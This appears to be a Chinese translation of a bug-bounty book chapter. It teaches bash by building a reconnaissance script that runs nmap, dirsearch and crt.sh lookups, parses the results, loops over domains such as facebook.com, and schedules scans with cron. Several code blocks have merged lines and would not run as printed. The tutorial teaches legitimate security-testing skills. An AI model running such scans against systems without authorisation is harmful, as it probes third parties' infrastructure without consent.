你可以通过引入变量来引用文件、名称和值,使脚本更易管理。在 bash 中,可以使用以下语法为变量赋值:VARIABLE_NAME``=``VARIABLE_VALUE。注意等号两边不要有空格。引用变量的语法是$``VARIABLE_NAME。让我们将这些实现到脚本中:
#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon 1
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORYnmap $DOMAIN > $DIRECTORY/nmap
echo "The results of nmap scan are stored in $DIRECTORY/nmap."
$PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php –simple-report=$DIRECTORY/dirsearch 2
echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
我们使用${DOMAIN}_recon而不是$DOMAIN_recon1,因为否则 bash 会将DOMAIN_recon的整体识别为变量名。大括号告诉 bash,DOMAIN是变量名,_recon是我们附加的纯文本。注意,我们还将 Dirsearch 的路径存储在一个变量中,以便将来可以轻松更改 2。
通过重定向,现在你可以编写运行多个工具的 Shell 脚本,并将它们的输出保存在不同的文件中。
将扫描日期添加到输出中
假设你想将当前日期添加到脚本的输出中,或选择要运行的扫描,而不是总是运行 Nmap 和 Dirsearch。如果你想编写具有更多功能的工具,像这样,你需要了解一些高级 Shell 脚本概念。
例如,一个有用的功能是命令替换,即对命令的输出进行操作。使用$()会告诉 Unix 执行括号内的命令,并将其输出赋值给变量的值。让我们练习使用这个语法:
#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
TODAY=$(date) 1
echo "This scan was created on $TODAY" 2
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
nmap $DOMAIN > $DIRECTORY/nmap
echo "The results of nmap scan are stored in $DIRECTORY/nmap."
$PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch
echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
在第 1 行,我们将date命令的输出赋值给变量TODAY。date命令显示当前的日期和时间。这样我们可以输出一条信息,指示我们执行扫描的日期 2。
添加选项以选择要运行的工具
现在,为了选择性地运行某些工具,你需要使用条件语句。在 bash 中,if语句的语法如下。注意,条件语句以fi关键字结束,即if的反向拼写:
if [ `condition 1` ]
then # Do if condition 1 is satisfied
elif [ `condition 2` ]
then # Do if condition 2 is satisfied, and condition 1 is not satisfied
else # Do something else if neither condition is satisfied
fi
假设我们希望用户能够指定扫描的MODE,像这样:
$ ./recon.sh scanmme.nmap.org MODE
我们可以像这样实现这个功能:
#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
TODAY=$(date)
echo "This scan was created on $TODAY"
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
if [ $2 == "nmap-only" ] 1
then nmap $DOMAIN > $DIRECTORY/nmap 2 echo "The results of nmap scan are stored in $DIRECTORY/nmap."
elif [ $2 == "dirsearch-only" ] 3
then $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php –simple-report=$DIRECTORY/dirsearch 4 echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
else 5 nmap $DOMAIN > $DIRECTORY/nmap 6 echo "The results of nmap scan are stored in $DIRECTORY/nmap." $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
fi
如果用户指定了nmap-only 1,我们只运行nmap并将结果存储到名为nmap 2 的文件中。如果用户指定了dirsearch-only 3,我们只执行并存储 Dirsearch 的结果 4。如果用户没有指定任何选项 5,我们运行两个扫描 6。
现在,你可以通过在命令中指定其中一个来让工具只运行 Nmap 或 Dirsearch 命令:
$ ./recon.sh scanme.nmap.org nmap-only
$ ./recon.sh scanme.nmap.org dirsearch-only
运行附加工具
如果你想要从 crt.sh 工具获取信息的选项呢?例如,你想在这三种模式之间切换,或者一次运行所有三个侦察工具:
$ ./recon.sh scanme.nmap.org nmap-only
$ ./recon.sh scanme.nmap.org dirsearch-only
$ ./recon.sh scanme.nmap.org crt-only
我们可以重写if-else语句来处理三种选项:首先,我们检查MODE是否为nmap-only。然后检查MODE是否为dirsearch-only,最后检查MODE是否为crt-only。但是这会有很多if-else语句,使得代码变得复杂。
相反,我们使用 bash 的case语句,它允许你将多个值与一个变量进行匹配,而无需遍历冗长的if-else语句列表。case语句的语法如下所示。请注意,语句以esac结束,或者说是case的反向写法:
case $`VARIABLE_NAME` in case1) `Do something` ;; case2) `Do something` ;; caseN) `Do something` ;; *) Default case, this case is executed if no other case matches. ;;
esac
我们可以通过使用case语句来改进我们的脚本,而不是使用多个if-else语句:
#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
TODAY=$(date)
echo "This scan was created on $TODAY"
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
case $2 in nmap-only) nmap $DOMAIN > $DIRECTORY/nmap echo "The results of nmap scan are stored in $DIRECTORY/nmap." ;; dirsearch-only) $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch." ;; crt-only) curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt 1 echo "The results of cert parsing is stored in $DIRECTORY/crt." ;; *) nmap $DOMAIN > $DIRECTORY/nmap echo "The results of nmap scan are stored in $DIRECTORY/nmap." $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch." curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt echo "The results of cert parsing is stored in $DIRECTORY/crt." ;;
esac
curl命令 1 用于下载页面内容。我们在这里使用它从 crt.sh 下载数据。而curl的-o选项让你指定输出文件。但注意,我们的代码有很多重复!每种类型的扫描代码重复了两次。让我们通过使用函数来减少重复。bash 函数的语法如下所示:
`FUNCTION_NAME()`
{ `DO_SOMETHING`
}
在你声明了一个函数之后,可以像调用其他 shell 命令一样在脚本中调用它。让我们为脚本添加函数:
#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
TODAY=$(date)
echo "This scan was created on $TODAY"
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
nmap_scan() 1
{ nmap $DOMAIN > $DIRECTORY/nmap echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
dirsearch_scan() 2
{ $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
}
crt_scan() 3
{ curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt echo "The results of cert parsing is stored in $DIRECTORY/crt."
}
case $2 in 4 nmap-only) nmap_scan ;; dirsearch-only) dirsearch_scan ;; crt-only) crt_scan ;; *) nmap_scan dirsearch_scan crt_scan ;;
esac
你可以看到我们简化了代码。我们创建了三个函数,nmap_scan 1、dirsearch_scan 2 和 crt_scan 3。我们将scan和echo命令放入这些函数中,这样我们就可以反复调用它们,而无需一遍又一遍地写相同的代码 4。这种简化在这里可能看起来不多,但通过函数重用代码,当你编写更复杂的程序时,它将为你节省大量麻烦。
请记住,所有 bash 变量都是全局的,除了输入参数如$1、$2和$3。这意味着像$DOMAIN、$DIRECTORY和$PATH_TO_DIRSEARCH这样的变量在我们声明它们后将可以在整个脚本中使用,即使它们是在函数内声明的。另一方面,像$1、$2和$3这样的参数值只能指代函数调用时传入的值,因此你不能在函数内使用脚本的输入参数,如下所示:
nmap_scan()
{ nmap $1 > $DIRECTORY/nmap echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
nmap_scan
这里,函数中的$1指的是nmap_scan被调用时传入的第一个参数,而不是我们的recon.sh脚本被调用时传入的参数。由于nmap_scan没有传入任何参数,$1是空的。
解析结果
现在我们有一个执行三种类型扫描并将结果存储到文件中的工具。但扫描之后,我们仍然需要手动读取并理解复杂的输出文件。有没有办法加速这个过程呢?
假设你想在输出文件中搜索某些信息。你可以使用全局正则表达式打印(grep)来完成。这个命令行工具用于在文本、文件和命令输出中执行搜索。一个简单的grep命令如下所示:
grep password file.txt
这告诉grep在文件file.txt中搜索字符串password,然后在标准输出中打印匹配的行。例如,我们可以快速搜索 Nmap 输出文件,查看目标是否开放了 80 端口:
$ grep 80 TARGET_DIRECTORY/nmap
80/tcp open http
你还可以通过在搜索字符串中使用正则表达式来使搜索更加灵活。正则表达式,或regex,是一种描述搜索模式的特殊字符串。它可以帮助你仅显示输出的特定部分。例如,你可能已经注意到,Nmap 命令的输出如下所示:
Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.065s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 992 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 2.43 seconds
你可能希望从文件中剔除不相关的消息,使其更像这样:
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite
使用此命令过滤掉 Nmap 输出开始和结尾的消息,只保留报告的核心部分:
grep -E "^\S+\s+\S+\s+\S+$" DIRECTORY/nmap > DIRECTORY/nmap_cleaned
-E标志告诉grep你正在使用正则表达式。正则表达式由两部分组成:常量和运算符。常量是字符串集,而运算符是表示对这些字符串进行操作的符号。这两种元素结合起来,使正则表达式成为强大的模式匹配工具。以下是表示字符的正则表达式运算符的快速概述:
-
\d匹配任何数字。 -
\w匹配任何字符。 -
\s匹配任何空白字符,而\S匹配任何非空白字符。 -
.匹配任何单个字符。 -
\转义特殊字符。 -
^匹配字符串或行的开头。 -
$匹配字符串或行的结尾。
还有几个运算符指定要匹配的字符数量:
-
*匹配前一个字符零次或多次。 -
+匹配前一个字符一次或多次。 -
{3}匹配前一个字符三次。 -
{1, 3}匹配前一个字符一次到三次。 -
{1, }匹配前一个字符一次或多次。 -
[``abc``]匹配括号中的一个字符。 -
[``a``-``z``]匹配a到z范围内的一个字符。 -
(``a``|``b``|``c``)匹配a、b或c。
让我们再看一遍这里的正则表达式。记住\s匹配任何空白字符,而\S匹配任何非空白字符吗?这意味着\s+将匹配一个或多个空白字符,而\S+将匹配一个或多个非空白字符。这个正则表达式模式指定我们应提取包含三个字符串并由两个空格分隔的行:
"^\S+\s+\S+\s+\S+$"
过滤后的输出将如下所示:
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite
为了处理命令输出中可能存在的额外空格,让我们在搜索字符串周围再添加两个可选的空格:
"^\s*\S+\s+\S+\s+\S+\s*$"
你可以使用更多高级的正则表达式特性来进行更复杂的匹配。然而,这一组简单的操作符足以满足我们的需求。要了解完整的正则表达式语法,请阅读 RexEgg 的备忘单(www.rexegg.com/regex-quickstart.html)。
构建主报告
如果你想从所有三个输出文件生成一个主报告怎么办?你需要解析来自 crt.sh 的 JSON 文件。你可以使用jq来完成这项任务,jq是一个处理 JSON 的命令行工具。如果我们检查来自 crt.sh 的 JSON 输出文件,我们可以看到需要提取每个证书项的name_value字段来获取域名。这个命令正是这么做的:
$ jq -r ".[] | .name_value" $DOMAIN/crt
-r标志告诉jq将输出直接写入标准输出,而不是将其格式化为 JSON 字符串。.[]遍历 JSON 文件中的数组,.name_value提取每个项的name_value字段。最后,$DOMAIN/crt是jq命令的输入文件。要了解更多关于jq的工作原理,请阅读它的手册(stedolan.github.io/jq/manual/)。
要将所有输出文件合并为主报告,可以编写一个像这样的脚本:
#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
DOMAIN=$1
DIRECTORY=${DOMAIN}_recon
echo "Creating directory $DIRECTORY."
mkdir $DIRECTORY
nmap_scan()
{ nmap $DOMAIN > $DIRECTORY/nmap echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
dirsearch_scan()
{ $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
}
crt_scan()
{ curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt echo "The results of cert parsing is stored in $DIRECTORY/crt."
}
case $2 in nmap-only) nmap_scan ;; dirsearch-only) dirsearch_scan ;; crt-only) crt_scan ;; *) nmap_scan dirsearch_scan crt_scan ;;
esac
echo "Generating recon report from output files..."
TODAY=$(date)
echo "This scan was created on $TODAY" > $DIRECTORY/report 1
echo "Results for Nmap:" >> $DIRECTORY/report
grep -E "^\s*\S+\s+\S+\s+\S+\s*$" $DIRECTORY/nmap >> $DIRECTORY/report 2
echo "Results for Dirsearch:" >> $DIRECTORY/report
cat $DIRECTORY/dirsearch >> $DIRECTORY/report 3
echo "Results for crt.sh:" >> $DIRECTORY/report
jq -r ".[] | .name_value" $DIRECTORY/crt >> $DIRECTORY/report 4
首先,我们创建一个名为report的新文件,并将今天的日期写入文件 1,以跟踪报告生成的时间。然后,我们将nmap和dirsearch命令的结果追加到报告文件中 2。cat命令将文件内容打印到标准输出,但我们也可以用它将文件的内容重定向到另一个文件 3。最后,我们从 crt.sh 报告中提取域名,并将其追加到报告文件的末尾 4。
扫描多个域名
如果我们想一次扫描多个域名怎么办?在侦察目标时,我们可能会从组织的多个域名开始。例如,我们知道 Facebook 拥有facebook.com和fbcdn.net两个域名。但是我们当前的脚本只允许一次扫描一个域名。我们需要编写一个能够通过单个命令扫描多个域名的工具,像这样:
./recon.sh facebook.com fbcdn.net nmap-only
当我们像这样扫描多个域名时,我们需要一种方式来区分哪些参数指定扫描MODE,哪些指定目标域名。正如你已经从我介绍的工具中看到的,大多数工具都允许用户通过使用命令行选项或标志来修改工具的行为,例如-u和--simple-report。
getopts 工具通过使用单字符标志从命令行解析选项。它的语法如下,其中 OPTSTRING 指定 getopts 应该识别的选项字母。例如,如果它应该识别选项 -m 和 -i,你应该指定 mi。如果你希望一个选项包含参数值,该字母后面应该跟一个冒号,像这样:m:i。NAME 参数指定存储选项字母的变量名。
getopts `OPTSTRING` `NAME`
为了实现我们的多域扫描功能,我们可以让用户使用 -m 标志来指定扫描模式,并假设所有其他参数都是域名。在这里,我们告诉 getopts 当选项标志是 -m 时识别该选项,并且该选项应包含一个输入值。getopts 工具还会自动将任何选项的值存储到 $OPTARG 变量中。我们可以将该值存储到名为 MODE 的变量中:
getopts "m:" OPTION
MODE=$OPTARG
现在,如果你运行带有 -m 标志的 shell 脚本,脚本就会知道你指定了扫描 MODE!注意,当 getopts 遇到一个不以 - 字符开头的参数时,它会停止解析参数,因此在运行脚本时,你需要将扫描模式放在域名参数之前:
./recon.sh -m nmap-only facebook.com fbcdn.net
接下来,我们需要一种方法来读取每个域名参数并对它们进行扫描。我们可以使用循环!Bash 有两种类型的循环:for 循环和 while 循环。for 循环更适合我们的目的,因为我们已经知道我们正在循环的值的数量。一般来说,当你已经有一个值的列表需要遍历时,你应该使用 for 循环。当你不确定需要遍历多少个值,但希望指定执行停止的条件时,你应该使用 while 循环。
下面是 bash 中 for 循环的语法。对于 LIST_OF_VALUES 中的每一项,bash 会执行 do 和 done 之间的代码一次:
for i in `LIST_OF_VALUES`
do `DO SOMETHING`
done
现在让我们通过使用 for 循环来实现我们的功能:
1 for i in "${@:$OPTIND:$#}"
do # Do the scans for $i
done
我们创建了一个数组 1,包含所有命令行参数,除了那些已经被 getopts 解析的参数,它会将解析后的第一个参数的索引存储到名为 $OPTIND 的变量中。字符 $@ 代表包含所有输入参数的数组,而 $# 是传入的命令行参数的数量。"${@:OPTIND:}" 通过切片数组来移除 MODE 参数,比如 nmap-only,确保我们只遍历输入中的域名部分。数组切片是从数组中提取子集的一种方式。在 bash 中,你可以使用这种语法切片数组(注意命令周围的引号是必要的):
"${INPUT_ARRAY:START_INDEX:END_INDEX}"
$i 变量代表参数数组中的当前项。然后我们可以将循环包裹在代码周围:
#!/bin/bash
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
nmap_scan()
{ nmap $DOMAIN > $DIRECTORY/nmap echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
dirsearch_scan()
{ $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
}
crt_scan()
{ curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt echo "The results of cert parsing is stored in $DIRECTORY/crt."
}
getopts "m:" OPTION
MODE=$OPTARG
for i in "${@:$OPTIND:$#}" 1
do DOMAIN=$i DIRECTORY=${DOMAIN}_recon echo "Creating directory $DIRECTORY." mkdir $DIRECTORY case $MODE in nmap-only) nmap_scan ;; dirsearch-only) dirsearch_scan ;; crt-only) crt_scan ;; *) nmap_scan dirsearch_scan crt_scan ;; esac echo "Generating recon report for $DOMAIN..." TODAY=$(date) echo "This scan was created on $TODAY" > $DIRECTORY/report if [ -f $DIRECTORY/nmap ];then 2 echo "Results for Nmap:" >> $DIRECTORY/report grep -E "^\s*\S+\s+\S+\s+\S+\s*$" $DIRECTORY/nmap >> $DIRECTORY/report fi if [ -f $DIRECTORY/dirsearch ];then 3 echo "Results for Dirsearch:" >> $DIRECTORY/report cat $DIRECTORY/dirsearch >> $DIRECTORY/report fi if [ -f $DIRECTORY/crt ];then 4 echo "Results for crt.sh:" >> $DIRECTORY/report jq -r ".[] | .name_value" $DIRECTORY/crt >> $DIRECTORY/report fi done 5
for 循环以 for 关键字开始,并以 done 关键字结束。注意,我们还在报告部分添加了一些行,以查看是否需要为每种类型的扫描生成报告。我们检查 Nmap 扫描、Dirsearch 扫描或 crt.sh 扫描的输出文件是否存在,以便确定是否需要为该扫描类型生成报告。
括号包围的条件意味着我们将内容传递给 test 命令:[ -f $DIRECTORY/nmap ] 等同于 test -f $DIRECTORY/nmap。
test 命令评估一个条件并输出 true 或 false。-f 标志测试一个文件是否存在。但你可以测试更多条件!让我们来看看一些有用的测试条件。-eq 和 -ne 标志分别测试相等和不等。如果 $3 等于 1,则返回 true:
if [ $3 -eq 1 ]
如果 $3 不等于 1,则返回 true:
if [ $3 -ne 1 ]
-gt、-ge、-lt 和 -le 标志分别测试大于、大于或等于、小于和小于或等于:
if [ $3 -gt 1 ]
if [ $3 -ge 1 ]
if [ $3 -lt 1 ]
if [ $3 -le 1 ]
-z 和 -n 标志测试一个字符串是否为空。这些条件都为真:
if [ -z "" ]
if [ -n "abc" ]
-d、-f、-r、-w 和 -x 标志检查目录和文件状态。你可以使用它们检查文件的存在和权限,然后再让你的 shell 脚本操作它们。例如,这个命令如果 /bin 是一个存在的目录,则返回 true:
if [ -d /bin]
如果 /bin/bash 是一个存在的文件,这个命令返回 true:
if [ -f /bin/bash ]
如果 /bin/bash 是一个可读文件,这个命令返回 true:
if [ -r /bin/bash ]
或可写文件:
if [ -w /bin/bash ]
或可执行文件:
if [ -x /bin/bash ]
你还可以使用 && 和 || 来组合测试表达式。这个命令只有在两个表达式都为真时才返回 true:
if [ $3 -gt 1 ] && [ $3 -lt 3 ]
如果其中至少一个条件为真,则这个命令返回 true:
if [ $3 -gt 1 ] || [ $3 -lt 0 ]
你可以通过运行 man test 在 test 命令的手册中找到更多的比较标志。(如果你不确定正在使用的命令,你可以在终端中输入 man 然后是命令名称,以访问该命令的手册文件。)
编写一个函数库
随着代码库的扩大,你应该考虑编写一个 函数库 来重用代码。我们可以将所有常用的函数存储在一个名为 scan.lib 的单独文件中。这样,我们就可以根据需要在未来的侦查任务中调用这些函数:
#!/bin/bash
nmap_scan()
{ nmap $DOMAIN > $DIRECTORY/nmap echo "The results of nmap scan are stored in $DIRECTORY/nmap."
}
dirsearch_scan()
{ $PATH_TO_DIRSEARCH/dirsearch.py -u $DOMAIN -e php --simple-report=$DIRECTORY/dirsearch echo "The results of dirsearch scan are stored in $DIRECTORY/dirsearch."
}
crt_scan()
{ curl "https://crt.sh/?q=$DOMAIN&output=json" -o $DIRECTORY/crt echo "The results of cert parsing is stored in $DIRECTORY/crt."
}
在另一个文件中,我们可以源文件库来使用其中的所有函数和变量。我们通过 source 命令并跟上脚本路径来源一个脚本:
#!/bin/bash
source ./scan.lib
PATH_TO_DIRSEARCH="/Users/vickieli/tools/dirsearch"
getopts "m:" OPTION
MODE=$OPTARG
for i in "${@:$OPTIND:$#}"
do DOMAIN=$i DIRECTORY=${DOMAIN}_recon echo "Creating directory $DIRECTORY." mkdir $DIRECTORY case $MODE in nmap-only) nmap_scan ;; dirsearch-only) dirsearch_scan ;; crt-only) crt_scan ;; *) nmap_scan dirsearch_scan crt_scan ;; esac echo "Generating recon report for $DOMAIN..." TODAY=$(date) echo "This scan was created on $TODAY" > $DIRECTORY/report if [ -f $DIRECTORY/nmap ];then echo "Results for Nmap:" >> $DIRECTORY/report grep -E "^\s*\S+\s+\S+\s+\S+\s*$" $DIRECTORY/nmap >> $DIRECTORY/report fi if [ -f $DIRECTORY/dirsearch ];then echo "Results for Dirsearch:" >> $DIRECTORY/report cat $DIRECTORY/dirsearch >> $DIRECTORY/report fi if [ -f $DIRECTORY/crt ];then echo "Results for crt.sh:" >> $DIRECTORY/report jq -r ".[] | .name_value" $DIRECTORY/crt >> $DIRECTORY/report fi
done
使用库在构建多个需要相同功能的工具时非常有用。例如,你可能会构建多个网络工具,而它们都需要 DNS 解析。在这种情况下,你可以只编写一次功能,并在所有工具中使用它。
构建交互式程序
如果你想构建一个交互式程序,在执行期间接受用户输入该怎么办?假设如果用户输入命令行选项-i,你希望程序进入一个交互模式,在此模式下,你可以在进行时指定要扫描的域名:
./recon.sh -i -m nmap-only
为此,你可以使用read。该命令读取用户输入并将输入的字符串存储到一个变量中:
echo "Please enter a domain!"
read $DOMAIN
这些命令将提示用户输入一个域名,然后将输入存储在名为$DOMAIN的变量中。
要反复提示用户,我们需要使用while循环,这将不断打印提示符,直到用户退出程序。下面是while循环的语法。只要CONDITION为真,while循环就会重复执行do和done之间的代码:
while `CONDITION`
do `DO SOMETHING`
done
我们可以使用while循环反复提示用户输入域名,直到用户输入quit:
while [ $INPUT != "quit" ];do echo "Please enter a domain!" read INPUT if [ $INPUT != "quit" ];then scan_domain $INPUT report_domain $INPUT fi
done
我们还需要一种方法,让用户实际调用-i 选项,而我们当前的 getopts 命令并没有做到这一点。我们可以使用 while 循环通过反复使用 getopts 来解析选项:
while getopts "m:i" OPTION; do case $OPTION in m) MODE=$OPTARG ;; i) INTERACTIVE=true ;; esac
done
在这里,我们指定了一个 while 循环,用于反复获取命令行选项。如果选项标志是 -m ,我们将 MODE 变量设置为用户指定的扫描模式。如果选项标志是 -i ,我们将 $INTERACTIVE 变量设置为 true *。然后,在脚本的后续部分,我们可以通过检查$INTERACTIVE 变量的值来决定是否启动交互模式。把这一切放在一起,我们得到最终的脚本:
#!/bin/bash
source ./scan.lib
while getopts "m:i" OPTION; do case $OPTION in m) MODE=$OPTARG ;; i) INTERACTIVE=true ;; esac
done
scan_domain(){ DOMAIN=$1 DIRECTORY=${DOMAIN}_recon echo "Creating directory $DIRECTORY." mkdir $DIRECTORY case $MODE in nmap-only) nmap_scan ;; dirsearch-only) dirsearch_scan ;; crt-only) crt_scan ;; *) nmap_scan dirsearch_scan crt_scan ;; esac
}
report_domain(){ DOMAIN=$1 DIRECTORY=${DOMAIN}_recon echo "Generating recon report for $DOMAIN..." TODAY=$(date) echo "This scan was created on $TODAY" > $DIRECTORY/report if [ -f $DIRECTORY/nmap ];then echo "Results for Nmap:" >> $DIRECTORY/report grep -E "^\s*\S+\s+\S+\s+\S+\s*$" $DIRECTORY/nmap >> $DIRECTORY/report fi if [ -f $DIRECTORY/dirsearch ];then echo "Results for Dirsearch:" >> $DIRECTORY/report cat $DIRECTORY/dirsearch >> $DIRECTORY/report fi if [ -f $DIRECTORY/crt ];then echo "Results for crt.sh:" >> $DIRECTORY/report jq -r ".[] | .name_value" $DIRECTORY/crt >> $DIRECTORY/report fi
}
if [ $INTERACTIVE ];then 1 INPUT="BLANK" while [ $INPUT != "quit" ];do 2 echo "Please enter a domain!" read INPUT if [ $INPUT != "quit" ];then 3 scan_domain $INPUT report_domain $INPUT fi done
else for i in "${@:$OPTIND:$#}";do scan_domain $i report_domain $i done
fi
在这个程序中,我们首先检查用户是否通过指定-i 选项 1* 选择了交互模式。然后,我们通过使用* while 循环 2* 反复提示用户输入域名。如果用户输入的不是关键字* quit ,我们假定他们输入了一个目标域名,于是我们为该域名进行扫描并生成报告。 while 循环将继续运行,直到用户输入 quit ,这将导致 while 循环退出,程序终止 3。
交互式工具可以帮助你的工作流程更顺畅。例如,你可以构建测试工具,让你根据初步结果选择如何继续进行。
使用特殊变量和字符
你现在已经掌握了足够的 bash 知识,可以构建许多多功能的工具。本节提供了一些关于 Shell 脚本特性的小贴士。
在 Unix 中,命令成功时返回0,失败时返回一个正整数。变量$?包含上一个执行命令的退出值。你可以使用这些值来测试执行的成功与失败:
#!/bin/sh
chmod 777 script.sh
if [ "$?" -ne "0" ]; then echo "Chmod failed. You might not have permissions to do that!"
fi
另一个特殊变量是$$,它包含当前进程的 ID。当你需要为脚本创建临时文件时,这很有用。如果你有多个相同脚本或程序的实例同时运行,每个实例可能都需要自己的临时文件。在这种情况下,你可以为每个实例创建名为/tmp/script_name_$$的临时文件。
还记得我们在本章早些时候谈到的 shell 脚本中的变量作用域吗?那些不是输入参数的变量对整个脚本是全局的。如果你希望其他程序也能使用这个变量,你需要导出这个变量:
export `VARIABLE_NAME`=`VARIABLE_VALUE`
假设在你的一个脚本中你设置了变量VAR:
VAR="hello!"
如果你不导出它或在另一个脚本中引用它,值将在脚本退出后被销毁。但是,如果你在第一个脚本中导出了VAR并在运行第二个脚本之前运行了第一个脚本,那么第二个脚本将能够读取VAR的值。
你还应该注意 Bash 中的特殊字符。在 Unix 中,通配符字符*表示所有。例如,以下命令将打印当前目录下所有扩展名为.txt的文件名:
$ ls *.txt
反引号(`)表示命令替换。你可以使用反引号和前面提到的$()命令替换语法来实现相同的目的。这个echo命令将打印whoami命令的输出:
echo `whoami`
大多数特殊字符,如通配符或单引号,在放入双引号中时不会被解释为特殊字符。相反,它们会被视为字符串的一部分。例如,以下命令将回显字符串"abc '*' 123":
$ echo "abc '*' 123"
另一个重要的特殊字符是反斜杠(\),它是 Bash 中的转义字符。它告诉 Bash 某个字符应被字面解释,而不是作为特殊字符。
某些特殊字符,如双引号、美元符号、反引号和反斜杠,即使在双引号内依然是特殊字符,因此如果你希望 Bash 将它们视为字面意义,你必须通过反斜杠来转义它们:
$ echo "\" is a double quote. \$ is a dollar sign. \` is a backtick. \\ is a backslash."
这个命令将回显:
" is a double quote. $ is a dollar sign. ` is a backtick. \ is a backslash.
你还可以在换行符前使用反斜杠,表示代码行尚未结束。例如,以下命令
chmod 777 \
script.sh
这与下面的命令是相同的:
chmod 777 script.sh
恭喜!你现在可以编写 bash 脚本了。刚开始学习 Bash 脚本可能会觉得很吓人,但一旦掌握了它,它将成为你黑客武器库中的一个强大工具。你将能够执行更好的侦查工作,进行更高效的测试,并拥有更加结构化的黑客工作流程。
如果你打算实现大量自动化,最好从一开始就开始组织你的脚本。建立一个脚本目录,并按功能对脚本进行分类。这将成为你开发自己黑客方法论的起点。当你收集了一些常用脚本时,你可以使用脚本自动运行它们。例如,你可以将脚本分为侦查脚本、模糊测试脚本、自动化报告等。这样,每次你发现喜欢的脚本或工具时,就可以迅速将它们有序地整合到你的工作流程中。
定时自动扫描
现在,让我们将你的自动化提升到一个新的层次,通过构建一个警报系统,在扫描中发现有趣内容时及时通知我们。这将节省我们手动运行命令并反复检查结果的时间。
我们可以使用 cron 作业来安排我们的扫描。Cron 是一种基于 Unix 的操作系统上的作业调度器。它允许你安排作业定期运行。例如,你可以每天在同一时间运行一个检查特定网站新端点的脚本,或者每天运行一个扫描器检查相同目标上的漏洞。通过这种方式,你可以监控应用程序行为的变化,并找到可能的利用方式。
你可以通过编辑名为 crontab 的文件来配置 Cron 的行为。Unix 为每个用户保留不同的 crontab 副本。通过运行以下命令来编辑你自己用户的 crontab:
crontab -e
所有 crontab 都遵循相同的语法:
A B C D E `command_to_be_executed`
A: Minute (0 – 59)
B: Hour (0 – 23)
C: Day (1 – 31)
D: Month (1 – 12)
E: Weekday (0 – 7) (Sunday is 0 or 7, Monday is 1...)
每一行都指定了一个命令以及它应该运行的时间,使用五个数字。第一个数字,范围从 0 到 59,指定命令应该运行的分钟。第二个数字指定小时,范围从 0 到 23。第三个和第四个数字分别是命令应该运行的日期和月份。最后一个数字是命令应该运行的星期几,范围从 0 到 7。0 和 7 都表示命令应该在星期日运行;1 表示命令应该在星期一运行,以此类推。
例如,你可以将这行添加到你的 crontab 中,每天晚上 9:30 运行你的侦查脚本:
30 21 * * * ./scan.sh
